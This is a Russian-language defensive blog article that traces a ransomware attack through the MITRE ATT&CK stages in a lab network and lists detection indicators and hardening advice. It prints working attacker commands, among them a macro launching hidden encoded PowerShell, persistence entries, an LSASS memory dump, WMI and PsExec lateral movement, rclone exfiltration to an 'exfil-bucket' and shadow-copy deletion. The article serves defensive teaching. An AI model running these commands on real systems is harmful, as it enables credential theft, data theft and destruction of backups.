Как шифровальщик действует изнутри сети: типичный сценарий атаки от письма до шифрования

Когда у соседнего с нашим клиентом предприятия сработал шифровальщик, разбор инцидента показал то, что подтверждается почти в каждом подобном случае: атака не была мгновенной. От первого фишингового письма до момента, когда файловые серверы оказались зашифрованы, прошло почти три недели. Три недели, за которые было множество возможностей заметить и остановить атакующего — просто никто не смотрел в нужную сторону. Разберём типичный сценарий такой атаки по стадиям, ориентируясь на модель MITRE ATT&CK, и покажем, что можно было увидеть на каждом этапе в условной сети itpages.lab.local.

Стадия 1. Initial Access — первоначальный доступ

Самый частый вектор — фишинговое письмо с вложением или ссылкой, реже — эксплуатация уязвимого сервиса, торчащего наружу (RDP без ограничений, устаревший VPN-шлюз, непропатченный веб-сервер). В типичном сценарии сотрудник бухгалтерии получает письмо якобы от контрагента с вложенным «счётом» в виде документа с макросом.

# Пример вредоносного макроса, маскирующегося под обновление документа
Sub AutoOpen()
    Shell "powershell.exe -nop -w hidden -enc BASE64_ENCODED_PAYLOAD"
End Sub

На этом этапе почтовый шлюз и антивирус на рабочей станции — последний барьер перед тем, как вредонос окажется внутри сети. Если фильтрация вложений с макросами не настроена или сотрудники не обучены не открывать подозрительные файлы, атака проходит первый рубеж практически бесплатно для атакующего.

Стадия 2. Execution и Persistence — закрепление в системе

После запуска макроса на рабочей станции атакующий получает первый плацдарм — обычно это загрузчик, который скачивает следующий этап атаки, и сразу же закрепляется в системе, чтобы пережить перезагрузку.

# Типичный способ закрепления через ключ автозапуска реестра
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WinUpdateSvc /t REG_SZ /d "C:\Users\Public\svchost_update.exe" /f

# Или создание запланированной задачи под легитимным именем
schtasks /create /tn "MicrosoftEdgeUpdateTaskMachine" /tr "C:\ProgramData\update.exe" /sc onlogon /ru SYSTEM

Здесь уже есть шанс на обнаружение: создание новой задачи в планировщике или изменение ключей автозапуска — классические индикаторы, за которыми должен следить EDR-агент, а не просто традиционный антивирус, полагающийся на сигнатуры. Свежесобранный или слегка модифицированный загрузчик почти всегда проходит мимо сигнатурного анализа, но поведенческие правила ловят именно паттерн действия, а не конкретный хэш файла.

Стадия 3. Discovery — разведка внутри сети

Получив закрепление, атакующий не спешит шифровать — сначала он изучает сеть, чтобы понять, где лежат ценные данные и как устроена инфраструктура. Это самая продолжительная и самая тихая фаза, которая может длиться от нескольких дней до нескольких недель.

# Типичные команды разведки, которые запускает атакующий с рабочей станции
nltest /dclist:itpages.lab.local
net group "Domain Admins" /domain
nslookup -type=srv _ldap._tcp.dc._msdcs.itpages.lab.local
arp -a
ipconfig /all
net view \\srv-backup01

Именно на этой стадии проявляется ценность сегментации сети: если рабочая станция бухгалтерии в принципе не видит по сети сервер srv-backup01 или контроллер домена напрямую из-за VLAN-ограничений на sw-core01, атакующий физически не может провести разведку так же эффективно, а каждая его попытка достучаться до недоступного сегмента — это лишний сигнал в логах firewall, который можно поймать.

Стадия 4. Credential Access и Privilege Escalation — кража учётных данных

Следующий шаг — получить учётные данные с более высокими привилегиями, в идеале для атакующего — доменного администратора. Классический инструмент здесь — дамп памяти процесса LSASS.

# Классическая техника дампа учётных данных из памяти LSASS
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Users\Public\lsass.dmp full

Полученный дамп выгружается на внешний сервер атакующего и разбирается офлайн инструментами вроде Mimikatz для извлечения хэшей паролей. Если в сети используется практика избыточных прав локального администратора на рабочих станциях или один и тот же пароль локального админа скопирован на все машины, скомпрометировав одну рабочую станцию, атакующий сразу получает доступ к десяткам других через технику Pass-the-Hash.

Стадия 5. Lateral Movement — распространение по сети

С украденными привилегированными учётными данными атакующий начинает перемещаться по сети, компрометируя всё больше хостов, включая серверы.

# Удалённое выполнение через WMI с украденными учётными данными администратора
wmic /node:srv-fileserver01 /user:itpages\admin_svc /password:*** process call create "cmd.exe /c whoami > C:\Windows\Temp\check.txt"

# Или через PsExec
psexec \\srv-fileserver01 -u itpages\admin_svc -p *** cmd.exe

Это стадия, где правильная микросегментация играет решающую роль: если файловый сервер, сервер 1С и рабочие станции пользователей находятся в разных VLAN с firewall-политикой, разрешающей только конкретные необходимые порты, а не любой доступ по SMB и WMI между всеми хостами подряд, атакующему приходится компрометировать firewall-правила или искать обходные пути, теряя время — а время в данном случае лучший союзник защищающейся стороны, потому что каждый лишний день — это шанс на обнаружение.

Стадия 6. Collection и Exfiltration — кража данных до шифрования

Современные группировки шифровальщиков практически всегда сначала воруют данные, а потом уже шифруют — это называется двойным вымогательством: заплатите за расшифровку, а если не заплатите, данные всё равно продадим или опубликуем.

# Типичный паттерн: архивирование и заливка через легитимный облачный клиент
7z.exe a -p*** -mx1 archive_part1.7z \\srv-fileserver01\shared\finance\*
rclone copy archive_part1.7z remote:exfil-bucket --progress

Использование легитимных инструментов вроде rclone или встроенного BITS для эксфильтрации данных (техника Living off the Land) — обычная практика, потому что такой трафик сложнее отличить от легитимной синхронизации с облаком на уровне обычного firewall без DPI и поведенческого анализа сетевого трафика.

Стадия 7. Impact — само шифрование

Финальная стадия — атакующий одновременно на максимальном количестве заражённых хостов запускает шифрование, часто предварительно отключив или удалив теневые копии и попытавшись зачистить обнаруженные онлайн-бэкапы.

# Типичное поведение шифровальщика перед началом шифрования
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
wbadmin delete catalog -quiet

Именно поэтому неизменяемые бэкапы с Object Lock и физически изолированные ленточные копии остаются последней линией обороны — команды вроде vssadmin delete shadows эффективны против теневых копий Windows, но бессильны против объекта в S3 с активным compliance-lock или ленты, которая физически лежит в сейфе за пределами сети.

Разбор по времени: сколько длится каждая стадия на практике

По опыту разбора реальных инцидентов, включая случай у конкурента нашего клиента, типичная хронология выглядит так: initial access и закрепление занимают часы, разведка — от нескольких дней до двух недель, кража учётных данных и lateral movement — ещё несколько дней, эксфильтрация данных — один-два дня непосредственно перед шифрованием, а само шифрование — от нескольких минут до пары часов на всю инфраструктуру одновременно. Из трёх недель жизни атаки собственно разрушительное действие занимает меньше одного процента времени — всё остальное это тихая работа, которую можно и нужно замечать раньше.

Что должно было насторожить на каждой стадии

Если собрать разбор инцидента в короткий чек-лист индикаторов, получится примерно следующее. На стадии закрепления — новая задача в планировщике с обманчиво похожим на системное имя, но с нетипичным путём запуска вроде C:\ProgramData вместо системных директорий. На стадии разведки — аномальный всплеск LDAP-запросов и обращений к net group, net view с одной рабочей станции, которая раньше такого не делала. На стадии кражи учётных данных — обращение процесса, отличного от штатных средств диагностики, к памяти lsass.exe, что почти всегда однозначный индикатор компрометации. На стадии lateral movement — вход одной и той же учётной записи почти одновременно на нескольких хостах, до которых у пользователя в обычной работе нет причин обращаться. На стадии эксфильтрации — исходящий трафик большого объёма на неизвестный внешний IP через легитимный процесс вроде rclone или встроенного BITS, особенно ночью или в выходные, когда обычной рабочей активности нет.

Каждый из этих признаков по отдельности можно списать на случайность или ложное срабатывание. Но их совпадение по времени и по цепочке хостов — от одной скомпрометированной рабочей станции до контроллера домена и дальше до файловых серверов — это именно то, что должна ловить связка EDR и корреляции событий в SIEM, а не полагаться на то, что администратор вручную заметит подозрительную активность в потоке из тысяч ежедневных событий.

Почему письмо, а не эксплойт нулевого дня

Стоит развеять миф о том, что за громкими атаками шифровальщиков всегда стоят экзотические эксплойты нулевого дня. В подавляющем большинстве разобранных инцидентов, включая случай у конкурента нашего клиента, точка входа — банальный человеческий фактор: открытое вложение, введённый пароль на поддельной странице авторизации, RDP-порт, оставленный открытым наружу без ограничения по IP и без многофакторной аутентификации. Экзотические уязвимости используются группировками point-and-click только тогда, когда проще купить готовый доступ (initial access broker) на теневом форуме, чем взламывать периметр самостоятельно — обученный сотрудник и закрытый наружу RDP обходятся заметно дешевле, чем последствия компрометации.

Это значит, что базовая гигиена — обучение сотрудников распознавать фишинг, многофакторная аутентификация на всех внешних точках входа, отсутствие прямого RDP из интернета — закрывает большую часть векторов ещё до того, как понадобятся дорогие технические средства защиты вроде EDR и микросегментации. Но рассчитывать только на человеческий фактор нельзя: рано или поздно кто-то откроет не то вложение, и тогда в игру вступают уже описанные выше механизмы обнаружения на последующих стадиях атаки.

Частые ошибки и как их избежать

• Отсутствие мониторинга на стадии разведки и lateral movement. Большинство компаний замечают атаку только на стадии шифрования, когда уже слишком поздно. Поведенческий EDR и алерты на нетипичные команды вроде дампа LSASS или массового использования WMI между хостами дают шанс остановить атаку за недели до шифрования.
• Избыточные права локального администратора на рабочих станциях. Единый пароль локального админа на всех машинах превращает компрометацию одной рабочей станции в компрометацию всей сети за минуты через Pass-the-Hash. Используй LAPS (Local Administrator Password Solution) для уникальных паролей на каждой машине.
• Плоская сеть без сегментации. Если любая рабочая станция может напрямую достучаться по SMB и WMI до любого сервера, lateral movement становится тривиальной задачей для атакующего. Разделение на VLAN с firewall-политиками между сегментами — обязательное условие сдерживания атаки.

Автор — Команда IT-Pages